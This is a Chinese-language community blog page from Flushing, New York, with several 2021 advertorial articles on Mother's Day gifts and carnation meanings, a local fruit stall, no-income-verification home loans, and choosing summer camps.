  • 送水果鮮花籃美觀又體貼,比如,照顧到媽媽的牙口,可以選擇香蕉、芒果、獼猴桃之類的,果肉軟糯,容易消化,有利於體內廢物和毒素的排出;桃子、、香蕉有助於通便;
  • 蘋果、梨、桃子的外皮含有豐富的膳食纖維,有預防便秘、腸癌、腦血管疾病等功能,營養又健康!
  • 選擇奇異果、葡萄、櫻桃等鮮甜多汁的水果,富含維生素A,有助於預防和緩解關節炎;
  • 芒果含有大量的維生素A,有防癌、抗癌的作用。
  • 含有豐富維生素B6的水果,如蘋果、冬棗、龍眼等,有助於改善失眠;
  • 一些異國水果,如紅毛丹,荔枝,龍眼、金橘,木瓜等,可以維持體內的酸鹼平衡,有利於緩解和康復高血壓和腎炎。

2傳統禮物—康乃馨和賀卡:是母親節的必備品。工作再繁忙,也可以網上訂購一束康乃馨給媽媽,附帶一張問候卡片。心意更重要,很多禮物雖然價格高昂,可媽媽們卻不一定喜歡。問候卡片是媽媽們最想收到的禮物。

3傳統的禮物—定制蛋糕:定制一個媽媽喜歡的口味,不管是什麼場合什麼節日,只要有一個蛋糕氣氛都會更好!

4一家人聚餐:母親節這一天子女們會在一起聚餐,預訂餐館、在家烹飪、或點外賣。總之,不要媽媽做飯,享受一天的清閒。

5孩子製作早餐:有的學校提前教學生製作簡單的早餐,不少孩子會在節​​​​​​​​​​​​日當天早早起床,為母親準備早餐、端到母親床頭,以此表示對母親的感恩和愛。

6為媽媽下廚:在母親節這一天,媽媽要好好的休息,老公和子女為她煮飯,有別樣情趣!

7手工DIY製作禮物:每年母親節前,各中小學校老師都教育學生對母親感恩,並組織學生親手為母親製作禮物,物美價廉又誠意滿滿。

8旅遊:一家人去旅遊,逛街,吃大餐,送給媽媽的禮物便是美好的回憶。別忘了帶上相機!年輕時創造回憶,年老時享受回憶。

9按摩器等:隨著年紀增長和常年家務操勞,有的媽媽的關節、肩背經常酸痛,送一個合適的按摩器是一個不錯的選擇。

10首飾擺件、絲巾服飾之類的:穿衣打扮,那個女人不愛美呢?

11香水:了解到媽媽喜歡的香水,可以給她一個驚喜!

12送化妝品、護膚品、美容品:女人都希望自己永遠年輕,因此在母親節為媽媽、妻子送上一份美容品(特別是一些媽媽自己平時捨不得買的)也是不錯的選擇哦

13送購物卡或現金:讓媽媽們買她們最想買的東西。

14視頻、電話向母親問候:不能與母親團聚的子女,遠遠的問候,報個平安,媽媽就很滿意了。

15別出心裁:你也可以選擇在母親節這天為母親們送上一些特殊的禮物,如果你有什麼好主意,不妨也寫下來分享給大家哦!

這個母親節,你準備怎樣以寸草心報得三春暉呢?

2021-05-08 / by / in
母亲节的来由/母亲节为什么送康乃馨/2021年美国纽约网上订购鲜花

文/弗光照

每年5月的第二個星期日是母親節!今年的母親節是5月9日。隨著節日的臨近,美國紐約母親節的氣氛越來越濃鬱,為人子女的忙碌著,買鮮花、水果籃、禮物……母親節送什麼花?母親節當然是送康乃馨囉!網上訂購花束時,看到精美包裝的花束,花團錦簇、美輪美奐,有沒有被驚艷到?分享給你們看看:http://flower365day.com/美國紐約意境名家鮮花網(法拉盛緬街週邊免運送費)好耶!

 

一.母親節的來歷:

母親節,是感恩母親的節日。古代母親節源於古希臘,是古希臘人respect眾神之母—瑞亞的日子。而現代母親節源於美國,是由安娜·賈維斯(Anna Jarvis)提出,受到社會各界的響應,最終獲得政府的支持,成為母親節。

其中,還有一段佳話:美國安娜•查維斯夫人祈禱時說“但願在某處、某時,會有人創立一個母親節,紀念和讚揚美

國與全世界的母親。”她的願望實現了!

如今,母親節已成為世界人們的共同節日,在各地流行起來。因為我們都需要一個感恩母親的節日!噹噹當—當!送媽媽康乃馨的習俗,亦隨之而來了!

二.為什麼母親節要送康乃馨呢?

其實,這是源於1934年5月,美國第一次發行母親節的紀念郵票,郵票上一位慈祥的母親,看著花瓶中的康乃馨。從此,在人們心目中,康乃馨就成為了母親花。每年的母親節,一束康乃馨和一聲問候,滿滿的寄託著人們對母親的愛意。

三.不同顏色的康乃馨,各自代表什麼含義呢?

康乃馨是母親節的傳統禮物,康乃馨有多種花色,常見的有紅色、粉色和黃色。搭配各色的滿天星和黃鶯,以及在粉色系的精美包裝下,滿滿的表達了子女們的感恩。康乃馨的花語是愛、尊敬和祝福,代表了對媽媽的愛和尊敬。

但不同顏色的康乃馨涵義不同,送花前要了解清楚。

紅色康乃馨:代表對母親的愛,和祝福媽媽身體健康。

粉色康乃馨: 代表對媽媽的愛,並祝福媽媽青春常駐美麗依舊。

紫色康乃馨:優雅、美好、感謝之心

藍色康乃馨:永恆的幸福、

橘色康乃馨:熱情、純潔的愛

白色康乃馨:悼念亡母、尊敬

黃色康乃馨:代表友誼、感恩母親、感謝。(*但是,黃色在西方代表消極,所以送黃色康乃馨就要慎重了。)
一般而言,母親節多數人會選擇粉色和紅色色康乃馨,或者是各種顏色的康乃馨的搭配。

人的一生之中,有多少幸福時光,有多少美麗的記憶。母親節過的是感情,請把握當下,珍愛自己,珍愛家人,珍惜幸福。

四.母親節經典問候語:

  • 天地很大,我卻走不出您的牽掛;一聲問候,一束康乃馨,一句我愛您,媽媽!
  • 再羞澀也要勇敢表達,再忙碌也要抽空回家,再遙遠也要通個電話,再簡短也把短信來發,再熟悉也要祝福媽媽:母親節快樂!
  • 洗衣做飯操持家務,終日不歇身影忙碌。在這個特殊節日,我送你三個祝福:“健康”、“平安”和“快樂”(一個陪你終生,一個伴你左右,另一個留你心中) !請媽媽笑納!

最後,祝愿天下母親“Happy mother’s day!”母親節快樂!

2021-05-08 / by / in
最好的水果獻給母親 !纽约法拉盛金果园水果专家牛姐(牛菊英)为母亲节特别推荐。

主標:最好的水果獻給母親

下標:牛姐幫你挑水果

文|王曉蓮 圖|Jimmy Song

金果园热线:917-365-6016

艷陽高照的5月,春暖花開,在這個溫馨的季節,我們也將迎來最溫馨的節日——母親節。

平日裡吃慣了母親為我們精心製作的愛心美味,當這個感恩的日子來臨,也一定要將最好的美味獻給她,以表達我們的感恩、誠意與祝福!

各式水果一直是女士們的最愛。媽媽喜歡吃什麼水果呢?蘋果、橘子、香蕉……,這些日常水果都太普通了吧,今天就讓法拉盛金果园水果專家牛姐幫我們介紹幾款與眾不同的精品水果。

金果园:水果蓝

★只賣精品水果的水果专卖店

在我們眼裡差別不大的各式水果,在牛姐眼裡就完全不同了。牛姐(牛菊英)在大陸從事水果經營近20年,2015年來美國後,在法拉盛緬街地鐵口旁租了一個不大的水果攤位(金果園),房東告訴她,這裡沒有人能經營超過1年,如今牛姐的小水果攤已經經營6年了,最新鮮的水果、別處買不到的精品水果都能在這裡找到,好品質口耳相傳,回頭客絡繹不斷。

站在自己攤位前的牛姐,總是面帶微笑,能給客人帶來最好的味道和身體的健康,她感到非常高興,她非常享受這個過程。

法拉盛金果园老板:牛菊英女士

★最好吃的以色列橘子

牛姐拿著兩個看起來很像的橘子告訴我們,這個標籤標號是4055的是以色列橘子,這是最好吃的橘子。它集中了所有橘子的優點,皮薄、水分多,甘甜,吃完之後嘴裡沒有任何雜質,銷量最火爆。它外包裝是紫色的,看起來很好看,很高貴。當然,市面上也有冒牌的以色列橘子。

另外一個叫醜橘,僅次於以色列橘子,外表看起來不好看,但是也很甜,是排名第二的橘子。

牛姐說,買水果一定不要看外表,看外表會吃虧,就跟看人一樣,不要看外表。另外要品嚐,品嚐後滿意再買。

法拉盛金果园只卖精品水果

★水果也有品牌有品質

牛姐的水果攤位精品水果干果云集,夏天以水果為主,冬天以堅果為主。牛姐介紹,自己的攤位能夠在競爭激烈的法拉盛生存下來,靠的是品質,是顧客的口耳相傳。

佛羅里達的一個農場,種植黃皮和特殊的黑龍眼,這兩種特殊的水果產量都很少,價格也很貴,老闆只把這兩種高檔水果送到這裡,牛姐說,他們知道我們可以賣得出去。

牛姐說,「其實水果就跟服飾、鞋帽一樣,也有品牌。我們選貨就選最好的,我們跟大的農場和大的批發商說,我們一定要進好貨,差貨不要送過來,他們都知道我們的店都是要最好的貨。很多顧客對我們的評價就是:想吃到最好的結果,就是來我們店裡來買,肯定買的到。」

法拉盛金果园:水果花篮可根据客户要求配置

★時令水果美味又養生

水果的季節性很強,牛姐建議大家選時令的新鮮水果。她介紹,豐富的水果市場不同的季節有不同的主角。4月份,以色列橘子和大青提就是主角。到6∼8月份,櫻桃、龍眼和荔枝是主角。到9月份接近水果季的尾聲,慢慢的堅果就上來了,包括巴西松子、夏威夷果、東北松子、美國的大杏仁、開心果、葡萄乾等。糖炒板栗是這個小果攤秋冬季節的主角。

為保證水果和堅果的新鮮度,牛姐特別租了兩個大的庫房來儲存。牛姐說,「水果和堅果的儲存也是有學問的,我們庫房的面積是店面的5倍大,我們有專業的冷櫃來儲存不同種類的水果和堅果。比如,板栗要有自己的冷櫃,不能和水果放一起。芒果不能直接放冰櫃,要等到熟一些的時候再放,不然芒果心就是黑的。」

法拉盛金果园老板牛菊英女士和她先生

★精美水果籃獻給母親

經營水果店不僅是牛姐的生意,也是她的人生享受,她說,「來美國後我一直有個夢想,將來開一個水果、堅果精品店,裡面擺三臺機器:榨汁機、剝殼機和豆漿機。來這裡的客人不僅能吃到新鮮的水果和堅果,還能喝到新鮮的果汁和配有堅果的豆漿。」

母親節來臨,牛姐精心準備了果籃,有5種類型,價格在$38-108之間,可以自己選擇水果,也可以買現成的。果籃裡還配有鮮花,絢麗的色彩,撲鼻的香氣,最好的味道,最誠的心意,讓我們一併送給最偉大的母親。

最好的水果献给母亲

法拉盛金果園

地址:40-10#L1 Main street,Flushing,NY 11354

(纽约法拉盛新世界对面 )

牛姐热线:917-365-6016  牛菊英

服务客户:品质一流!服务一流!诚信一流!

法拉盛金果园老板:牛菊英女士

纽约鑫创建筑装修公司老板:裴先生

把最好的水果带给每位顾客朋友

金果园只卖精品水果

母亲节特别礼品奉献

法拉盛金果园老板成功之路

 

爱心来自真诚

金果园:献给伟大的母亲!

2021-05-08 / by / in , , ,
不查收入贷款|美国买房贷款 不查收入贷款 适合谁?怎样拿到低利率贷款?房屋贷款服务指南推荐!

新美贷款 (不查收入贷款)

  • 纽约(法拉盛):136-20 38th Ave, Suite 11i, Flushing, NY 11354
    电话:(718) 888-0358
  • 新泽西(Edison):1876 NJ-27 #206, Edison, NJ 08817
    电话:(732) 650-1837
  • 加州(Alhambra):388 E Valley Blvd UNIT 121, Alhambra, CA 91801
    电话:(626) 458-6878

网站:https://xinmeihomeloan.com/

文|地产小尖兵

今天来谈谈「不查收入贷款」(No Documentation Loan),它适合什么样的人群、必须要什么符合条件、流程和注意事项。美国买房通常就是做贷款,先放入10%或更低的首付款,其余每月还款,但这要有固定工资、税表、存款等收入文件的审批。对于某些人士来说,在美国可能没有固定工资、报税不高、刚找到工作等等情况,就无法申请这种一般类型的房贷,这时就可考虑不查收入贷款的选项了!

 

不查收入贷款基本概念

随着房市热浪,在纽约买房、美国买房更加竞争,现在不查收入贷款又兴盛起来。对于有正常薪资单、报税的人来说,一般贷款是最适合的。

收入不固定,纽约买房可用不查收入贷款。

相反,对于某些人在收入上常只拿现金或报税低,就难以申请一般贷款,这时候就可以用「不查收入贷款」来买房。不查收入贷款,就是贷方不会看你的收入相关的证明文件,比如薪资单、报税纪录。这样就方便于有这种需求的人士,也能贷款买房或融资运用。

不查收入贷款买自住房,还可以用来购买投资房,或是房屋净值贷款(Home Equity Line of Credit)、再融资等项目,不过能贷哪几种,要看贷款人的情况而定。

以不查收入贷款买房,能贷到多少比例的额度?这要看个人条件的评估,但基本上可以贷到70%~80%,如信用分数好,贷款比例就会更大。

特别留意,不查收入贷款的贷款时间会比一般贷款更长,可能会有40~50天的时间,所以买房的人一定要留意,并告诉卖家需要给更长的时间来等待。

不查收入贷款可用于的项目

-购买自住房
-购买投资房
-房屋净值贷款(Home Equity Line of Credit)
-再融资

办理不查收入贷款的条件

首付款越高,条件要求越低

办理不查收入贷款要有哪些条件呢?请见以下条件:
「首付款」:买房时要首付20%~40%的购房金额,比例要看贷款人的条件来判断,条件越好首付款越能降低比例,如果条件差(无身份、无信用分数),就必须提高比例,可以到40%,以降低贷方的风险。
「合法身份」:有美国公民、绿卡是最洽当的。有些外国人也能凭签证、护照申请,一般是也是需要提高首付款来完成。
「合法工作」:有雇主提供的信息,贷方会验证文件,用以证明贷款人有还款能力。
「信用分数」:信用分越高越好,至少600分,最好有680以上,除非这位贷款人完全没有信用分数,可能是刚到美国的人。
「特殊情况」:如果无法满足上面某些条件,例如没有工作证明,买房时就要提高首付款到比例,可能到提高到30%,但这种情况对信用分数也会有更高的要求。

不查收入贷款,信用分数越高越好。

简单说,条件越好,贷方风险低,那不查收入贷款的利率就越好。如果某些条件不好,或无法提供证明,就要提高其它的条件要求,无非就是提高信用分数、提高首付款等方式。

适合人群

哪些人适合申请不查收入贷款?基本上「在美国有合法工作」的任何人都可以申请,适用任何签证、身份的人,甚至外国人只要凭签证或护照就可办理,但买房时就要提高首付款来补足缺陷。不过一般,还是有合法美国身份与合法工作是最好的。

也就是一般工薪阶层,典型中产、高阶主管都只是用一般贷款买房。但对于不是固定收入的人,例如具有特殊情况的高净值人士,例如经营成功的初创企业,并在公司中拥有大量股权的企业家可以适用不查收入贷款。

不查收入贷款,可以不看收入证明文件。

为何要看是否有合法工作呢?因为,即便贷方不看工资单、税表,贷方还是要确认贷款人的还款能力,所以是否有工作是的重要的。相反的,如果没有合法工作证明,也是要提高首付款来帮助申请。

以下几类人适合不查收入贷款——
-报税低的人:例如开个人公司的老板,可能有各种节税措施,造成报税低。
-薪资收现金的人:例如餐馆员工、建筑工。
-刚到美国的人:可能收入较低,申请不到一般的查收入贷款。
-高净值人士:不是拿固定薪资的人,却有高收入来源,或高价值股票。 (通常这类人也能透过税表完成一般贷款)
-自雇人士:同样没有固定薪资的人,例如一名YouTuber、个人工作室的创作者。

总的来说,对于无法提供一般每月工资单的人,或有些人现金收入好,但税表显示收入不好,或是刚到美国的人,缺乏信用分、无固定工作的人,都可以申请不查收入贷款。

状况一、新移民、工作不久
大卫是一位刚到纽约的新移民,他有30万美元存款,工作不久,信用分数不高,但想在纽约买一栋两房的康斗(Condo),而且通常他的收入是现金,所以申请一般贷款有困难,这时不查收入贷款是他买房的另一个选项。

状况二、留学生没有收入、没有信用分数
麦克尔是一位留学生,没有收入、没有信用分数,但父母希望他买一栋小房子自住,部分房间也可出租。如果想贷款买房,他也可以用不查收入贷款来完成购房。但这时首付款就要提高比例了。

状况三、没有固定薪资的YouTuber
雪莉是一位YouTuber,每月靠点击量来收取资金,或是有广告商合作业务,因此每月收入不固定,她也可以使用不查收入贷款来买房。

能拿到的利率

影响利率的关键:
「信用分数」:每个人能拿到的利率都不太一样。要利率好,就要信用分数高,600分是最低要求,有些贷方可能会要求660、680分。

「首付款」:另一个影响利率的是首付多少,20%、25%、30%、40%,都可得到不一样的利率,自然首付款越高,利率也越高。以目前来说,不查收入贷款的利率一般落在 3.875~4.75%之间。

信用分数好,贷款容易通过。

同样,贷款人可以选择3年、5年、15年、30年等不同期长的贷款。

疫情期間的申請

特別要注意,去年疫情期間不查收入貸款,一度有許多貸方關閉申請,但現在又已經恢復開放,所以要申請的人可以趕緊申請,以免在疫情的起起伏伏中又出現什麼新規定,而被限制買房或融資的腳步。

不適合辦理的人

固定收入的高中產階級人士就不適合不查收入貸款。他們用一般貸款就能拿到很好的利率。

大致流程

貸款經紀需要了解貸款人各方面的情況,例如:身份、工作性質、資產、雇主信息、信用分數、存款、買房的金額等等方面,準備好這些文件,就可以開始辦理了。

不查收入貸款與一般貸款的比較

常規貸款 FHA聯邦房屋貸款 不查收入貸款
3%以上的首付款 3.5%的首付款 20%以上的首付款
至少信用分數620 至少信用分數580 至少信用分數600或660以上
利率約3.1% 利率約2.87% 不同條件有不同利率,約在3.875~4.75%之間
*以上更新日期7/5/2021

表:三種貸款的比較。(金牌網製作)

最後提醒

最提醒貸款買房的人,首付款的資金要提早準備到位,最好在存貸款人的銀行帳號裡兩個月,才不易衍生麻煩,尤其資金來源是來自父母、家人,就要證明是贈與(Gift)的資金。
這裡還是提醒「信用分數」高低,對不查收入貸款的申請很關鍵,分數越高越能通過申請、拿到好的利率,最基本要有600分,很多貸方要求會更高分數。除非剛剛來美國的人,沒有信用分數。否則就要提高首付款來獲得申請。

聲明:以上僅作為介紹「不查收入貸款」的知識性文章,不能做為您獲得貸款的任何依據、憑證。有相關需求請諮詢專業貸款經紀,協助您完成貸款申請。

 

新美贷款 (不查收入贷款)

  • 纽约(法拉盛):136-20 38th Ave, Suite 11i, Flushing, NY 11354
    电话:(718) 888-0358
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纽约商业贷款/房屋贷款 929-510-9237 纽约不查收入贷款/抵押贷款

 

纽约贷款公司/不查收入贷款 718-514-6008 商业贷款/房屋贷款/低利率贷款

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2021-05-08 / by / in , , ,
2022美国夏令营全攻略 Summer Camp指南 纽约夏令营种类 ACA美国露营协会建议

文|雨荷

对于儿童和青少年来说,Summer Camp夏令营已成为美国人生活中不可缺少的一部分。在夏季,父母经常将他们的孩子放在夏令营中,以缓解学习压力,让孩子在精彩的游戏活动里成长,同时学习一些有价值的东西,免得孩子们整天经常看电视或玩电子游戏而忘却了他们在户外所能获得的所有乐趣。夏令营既有教育意义,也给家长提供一种育儿形式。

幸福学校  

电话:718-888-9968   718-886-6363

地址:141-05 Cherry Ave, Flushing, NY 11354

网站:https://happyschoolny.com/

Email: thehappyschool@yahoo.com

Summer Camp夏令营起源于在美国,已经有一百多年的历史了。如今,Summer Camp夏令营提供的活动种类繁多,营地也多种多样,其中一些营地的活动非常专业,一些营地则试图融合来自不同社会经济背景的不同儿童。

纽约为儿童提供了一些很棒的夏令营。无论您是在哪儿度假,夏令营都为您的孩子在夏季提供了户外活动和学习的机会,纽约的夏令营提供了丰富多彩的活动。

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Summer Camp 纽约夏令营 示意图。

纽约夏令营的类型

Sport Camps 运动营

运动营最流行的儿童夏令营类型之一,就是以运动为中心的类型。无论孩子喜欢什么运动,夏令营都可以帮助他或她的磨练技巧。运动营一般除了篮球、足球、棒球、橄榄球、啦啦队等等运动项目,还有冲浪、滑雪、越野、击剑、摔跤等。很多运动夏令营有专业的运动员或教练来指导。

Gender Specific Camps性别专用营

有些父母根本不愿意把他们的孩子送到男女同校的营地。因此,有许多专门针对男孩或女孩的营地。在某些情况下,仅男孩营地将与仅女孩营地相关联,并且两个营地将一起进行一些活动。在针对特定性别的营地工作可能会很棒,尤其是在与年长的露营者一起时,露营者会感到更多乐趣。

Scouting Camps侦察营

童子军和女童军营是最受欢迎的儿童营地之一。童军训练营的顾问和行政人员通常还是童子军,围绕自力更生,户外技能和荣誉开展的活动特别是童军训练营的一部分。在大多数侦察夏令营中,露营者都努力获得徽章,因此这些营地的员工将帮助确保满足特定要求。诸如国旗仪式之类的特殊事件也可能是侦察营的组成部分。

男孩, 侦察兵, 侦察, 亚洲, 同, 泰国, 誓言, 青少年, 室外, 格子花呢, 绿, 帽子, 男子

Scouting Camps侦察营 示意图。

Arts Camps 艺术营

艺术营包含了各种注意力。从绘画到创意艺术,再到音乐制作营地,再到舞蹈,艺术是一种自我表达的形式,通过它学生可以找到自己的风格和声音。

艺术不仅可以让学生有机会表达数学和科学可能无法发挥的创造力,而且艺术还可以提高识字能力。2011年的一项研究《对艺术教育进行再投资》发现,艺术教育可以使大脑重新思考,使其更具批判性思维,并将通过艺术和音乐学到的运动技能应用于阅读和数学。

北方学院是一所 6 至 12 年级的初中和高中致力于追求卓越的学术和艺术。是充满爱心的社区——建立在诚信、同情心和韧性的价值观之上——使学生能够发挥他们最大的智力、艺术、道德和身体潜力。

北方學校夏令營6月28日-8月7日從7歲起

今年夏天加入紐約中城的北方夏令營!來紐約的國內和國際旅客已經不需要隔離。

我們今年為七歲以上兒童增加了戶外探險營不需要戴口罩!看這裡-我們經驗豐富的指導奧爾先生在此視頻中解釋射箭、生火和烹飪、傳統戶外遊戲。

我們的其它課程包括:中國古典舞、音樂、繪畫、美術手工、計算機編程、設計、機器人技術和3-D建模 、國際數學奧林匹克、中文和傳統文化、SAT備考等,傳統價值和品德教育更會貫穿其中。

您可以選擇專注於以上課程之一或嘗試混合搭配。這些豐富課程和活動可以幫助孩子們度過一個愉快而有意義的夏天。

夏令營分兩期,一期三週,有日營、下午營、寄宿營和網絡營多種選擇。

馬上點擊這裡註冊!也請將這個好消息與親朋好友分享。

如果希望了解更多信息,請點擊這裡報名參加我們的網絡說明會,週六6月19日紐約時間下午1點。
Northern Academy of the Arts
1 Ashley Ave.
Middletown, NY 10940
Email: tzhu@northernacademy.org
Tel +1 (845) 232-1760
Visit: www.northernacademy.org

Academic Camps 学术营

学术夏令营增强孩子对学习的热爱,提高他们的求知欲,增强自信心。同时专注于特定的学术课程,学术营地提供了一个夏季补习班。

他们以小班授课的形式为学生提供了一个额外的推动力,使他们发挥出全部潜能,以一对一的注意力和额外的有趣的营地方式来吸引他们。

假日, 幼儿园, 花园, 孩子们, 孩子们的节日, 珠, 飞球, 彩球, 小丑, 动画制作者

Academic Camps 学术营 示意图。

Special Needs Camps 特殊需要夏令营

如果孩子有精神或身体上的残疾,则不能选择定期参加普通夏令营。但是,可以参加为这些儿童开设的特殊需要夏令营,为他们提供宝贵的营地经验。这些类型的夏令营通常会持续整个夏季 。

参加夏令营的好处

没有比在夏令营更好的方式让孩子度过愉快的几个月了。作为父母,您可以期望您的孩子磨练许多技能,并从参加夏令营中受益匪浅。

夏令营为您的孩子带来的6大好处

1.团队合作

许多针对儿童的夏令营活动都是围绕社交互动进行的,这些团队活动将在每个营地成员中建立协作心态。为了培养良好的团队合作精神,孩子们需要发展强大的沟通能力,解决问题的能力并做出艰难的决定。这些都是以后生活中必不可少的重要特征,夏令营可能是发展它们的最佳方法之一。

教练带孩子们活动 示意图。

夏令营设置对于测试团队合作技能特别有效。营员通常处于学习彼此独特的性格特征,技能和优势的早期阶段。无论是在运动场上还是在机器人实验室中,营员都必须了解队友,进行交流并互相鼓励,以实现共同的目标。

2.变得更加独立

在夏令营中,这个独立的时间对于帮助儿童发展一种认同感非常重要。孩子们在探索兴趣并发现自己的优点和缺点时,会学会变得更加自力更生。他们学会相信自己内心的声音,而不是依靠父母或老师告诉他们该怎么做。独立对于成为一个自给自足的成年人至关重要。

也许您的孩子害怕在没有妈妈或爸爸陪伴的情况下入睡,或者他们太害羞而无法独自出去。营地将以崭新而激动人心的方式帮助他们过渡到独立。独立还有助于提高孩子的自尊心。

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害羞的女孩 示意图。

3.结交新朋友

在夏令营中,他们还将学习接受不同背景的人。夏令营的孩子们聚在一起实现共同的目标,共同解决问题并取得成就,当他们意识到自己有多少共同点时,就会建立持久的友谊,分享有益经历,从那里结交小伙伴。

4.拥抱户外

孩子的身体健康至关重要。夏令营可以激发孩子对户外运动的热爱。当孩子在户外时,他们会看到,触摸,听到,闻到甚至有时品尝大自然。感官的发展使生活更加丰富,充实和全面。相反,在室内过多的时间会使感觉变钝,并剥夺儿童简单的生活乐趣。

拥抱户外 示意图

最重要的是,户外活动会鼓励运动,这对身体,心理和情感健康至关重要。在外面,孩子们可以自由奔跑,跳跃,爬升,笑和呼吸新鲜空气。

5.建立自尊心

在夏令营中,孩子们有机会取得成就,无论是捉鱼还是在比学校少的竞争环境下绘画第一幅画。成就是自尊的主要要素

自尊对儿童和成年人很重要,将来会根据自己的看法来决定生活。选择自己的职业,人际关系,并做出其他重要决定,这些决定受自尊心影响很大。儿童通过采取行动和获得成果以及为社区做出贡献来学习自尊。通过努力工作和成就而学会珍惜自己。

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建立自尊心 示意图

6.发掘新爱好

作为父母,您可能花费了无数小时来鼓励孩子参加各种体育,创意或艺术活动。夏令营可以提供帮助的地方是真正发掘孩子擅长的全新领域。

在夏令营中,孩子将可以尝试各种活动。一个有趣的环境,任何水平的孩子都可以学习;孩子们可以在夏令营找到自己的理想环境。

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发掘新爱好 示意图。

ACA美国露营协会关于如何为您的孩子选择合适的夏令营的建议。

在选择营地过程时,请考虑您孩子的兴趣。重要的是要了解孩子的性格,并确定哪些营地计划对孩子好处多。夏令营通过各种计划和活动,提供有趣而有意义的冒险活动,以符合孩子的兴趣。

与您的孩子一起探索营地,并检查营地提供的材料。此外,许多营地都有网站,其中包括营地设施的照片,地图或虚拟游览,每日时间表和菜单样本以及有关董事和主要员工的信息。随着孩子们更加熟悉营地,他们对营地的忧虑将减少。

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您的孩子一起探索营地的选择 示意图。

在报名孩子之前,请考虑一下您想要在营地里做什么:

参加夏令营的应考虑的问题

1.我要考虑什么语言环境?(考虑山脉,海滨,离家的距离)

2.我是否想要传统的营地给我的孩子提供各种各样的体验,还是我想要选择一个专注于特定活动或技能集的专业营地?

3.多大规模的营地,人数多少会让孩子感到舒适?
我希望该营地有多原始?

4.我希望程序的结构如何?我的孩子喜欢在活动时间表中有很多选择吗?

5.我的孩子是否准备好离开家,在外面居住?这将帮助您选择居民营地或日间露营地。

6.我的孩子和我们夏天的家庭计划会花多长时间?(一个星期?八个星期?)

7.营地期间我如何与孩子保持联系?

8.营地允许邮件,电话或电子邮件吗?营地有家长探望日吗?

学习, 电话, 打电话, 报警, 达到, 无线, 通信, 男子, 男孩, 发送, 消息, 联系人, 用具

孩子和家长保持联系 示意图。

9.营地将如何满足我孩子的特殊饮食或身体需求?

10.营地费用预算是多少?请记住,许多营地都提供经济援助。

选择日间营时要考虑的问题

在选择日间营时需要考虑一些特定的要点。

1.工作人员接受了哪些与幼儿工作有关的安全,监督,咨询,解决问题和其他问
题方面的培训?

2.价格是全包的吗?还是要收取以下额外费用?

3.如果提供运输,最近的接载地点在哪里?

4.营地是否设有可快速运送儿童的“快速巴士”?

5.如果提供夏令营前后的长期照护,谁与孩子们在一起并且开展哪些活动?

6.是否提供午餐或露营者自带便当?是否提供小吃和饮料?

7.如果营地提供游泳课程,是否有游泳课程或仅仅是休闲游泳课程?

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孩子们游泳示意图。

8.露营者整日与辅导员在一起吗?或者,露营者是否可以在适当的监督下自由地从一项活动转到另一项活动?在这种情况下,如果您对孩子有疑问或疑虑,该与谁交谈?

9.营地开始之前是否提供开放式住宿,您可以在这里与孩子的辅导员和面包车/公共汽车司机见面?

10.是否可以让父母前来探望,或者有特殊的家长探望日吗?

需要带什么去夏令营

以下是开始您的孩子的装箱单的几件事:

1.衣服

看起来似乎很明显,但是如果没有预先准备好的清单,您肯定会忘记打包某些种类的衣服。值得考虑的是,您的孩子在夏令营收拾衣物时可能遇到的不同环境。进行多少体力活动,强度如何?是否需要教练或需要远足靴?除了阳光,您是否期望什么?或者在某些潮湿多风的日子需要外套吗?

如果不确定,请在收拾行李之前与营地联系,他们会告诉需要什么。

旅行, 旅行者, 包, 开放, 书, 对象, 复古, 度假, 孤立, 目的地, 休闲, 白, 衣服, 业务

行李 示意图。

2.洗漱用品

拿起您自己的孩子的洗漱用品袋,并在其中装满他们需要自己洗漱并每天保持清洁的所有物品。列出他们一天中使用的所有物品;洗发水,牙刷,牙膏,肥皂。
3.背包

大多数夏令营到处都是探险队。在这些日常冒险中,他们将需要一个地方来存放笔,记事本,耳机和防晒霜。为此,他们需要一个坚固,结实,容量大的背包。
这也为他们提供了获得独立的另一种方式。叫孩子自己所需的一切并照顾好自己的物品。

4.床上用品

另一个要检查夏令营的人。通常,您可能需要床上用品,例如额外的床单,甚至是睡袋。通常会提供枕头和羽绒被等基本用品,但是如果需要其他任何东西,则值得提前检查。

5.闹钟

在夏令营期间,父母不在身边帮助孩子按时醒来,因此,最好是带一个的闹钟。请在他们前往夏令营之前的几天练习使用它。

第十一小时, 灾难, 闹钟, 时钟, 响钟, 拨号, 指针, 小时, 时间显示, 时间, 草地, 鲜花, 绿色

闹钟 示意图 。

6.零用钱

请给孩子准备充足的零钱,放在身上再将孩子送去夏令营。不需要很多,但足以从自动售货机购买任何点心或购买一些东西。

最后的话!

夏令营活动中强调的价值观包括对学习的热爱,坚韧不拔的精神,与自然的联系以及学习社交技能的能力。夏令营的好处是无穷的,可以持续一生。您的孩子不仅将以更大的独立性和更强的认同感从营地中返回,而且他们还将开发新的技能,结交新朋友,将成为永远珍惜的回忆。

成年后,许多人回忆着夏令营的日子,他们记得第一次和朋友一起生火的快感,营地不仅成为度过暑假的方式,而且成为他们的重要组成部分。在营地中,孩子们成长,探索和了解自己以及周围的人和世界,他们在整个过程中都充满乐趣。

Northern Academy of the Arts

纽约中城北方网络与实地夏令营

电话:845-232-1760

地址:1 Ashley Ave., Middletown, New York 10940

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2021-05-07 / by / in , , , , , ,
美国纽约家庭是怎样庆祝母亲节的?庆祝母亲节网上订购水果鲜花篮成为时尚

/弗光照

在美国,母亲节是每年5月的第二个星期天。母亲节这一天,在美国纽约普通的家庭,通常一家人在一起聚餐,给母亲送鲜花、水果鲜花篮、卡片、糖果、礼物等,是家人和子女辈们最普遍庆祝形式。大约母亲节前1—2周,纽约商家便陆陆续续开始渲染母亲节的节日氛围, “母亲节快乐!”的标语、花束、水果鲜花篮、礼物随处可见,提醒您千万不要忘记这个重要节日哦!

今年的母亲节您要怎么过呢?下面我们一起看看流程,check一下您有没有什么忘记啦?

.母亲节用餐:

与家人一起用餐是美国妈妈们的首选,也是庆祝的最主要环节。您可以选择:在餐厅聚餐、在家烹饪、打包外卖等等。据说,餐厅在母亲节里是最忙的一天,那您可要提前预定哦!

.母亲节送花束、水果鲜花篮:

